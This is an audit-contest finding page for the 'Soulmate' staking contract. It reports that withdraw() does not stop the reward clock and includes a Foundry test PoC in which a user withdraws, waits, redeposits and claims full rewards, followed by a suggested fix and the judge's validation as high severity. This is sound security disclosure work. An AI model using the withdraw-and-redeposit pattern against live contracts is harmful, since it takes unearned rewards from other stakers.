First Flight #9: Soulmate
First Flight #9
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

withdraw() doesn't stop clock

Nocturnus

Summary

withdraw() enables user to take their tokens out of staking contract.

Vulnerability Details

The current implementation lacks a mechanism to accurately track the time that tokens remain outside the stakingContract.

Impact

The existing logic assumes that tokens are continuously present within the contract from the moment of idToCreationTimestamp or lastClaim until the point of claimRewards. However, there is no provision to account for instances where tokens might be withdrawn prematurely.

PoC:

function test_withdrawDoesntStopClock() public {
uint256 balancePerSoulmates = 5 ether;
uint256 weekOfStaking = 5;
_depositTokenToStake(balancePerSoulmates);
// soulmate2 withdraws his balance
vm.startPrank(soulmate2);
stakingContract.withdraw(loveToken.balanceOf(soulmate2));
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
// soulmate2 deposits his balance
stakingContract.deposit(loveToken.balanceOf(soulmate2));
stakingContract.claimRewards();
vm.stopPrank();
//soulmate1 never withdrew his tokens
vm.prank(soulmate1);
stakingContract.claimRewards();
// balances of soulmate1 and soulmate2 are equal
assertEq(loveToken.balanceOf(soulmate1), loveToken.balanceOf(soulmate2));
}

Tools Used

Manual review

Recommendations

To rectify this, it is advised to introduce a timer mechanism within the withdraw function that commences when tokens are deposited and ceases upon execution of the withdraw function. This will ensure that the duration of tokens within the contract is accurately measured and reflected in the reward calculations.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other
Nocturnus Submitter
over 1 year ago
Nocturnus Submitter
over 1 year ago
0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.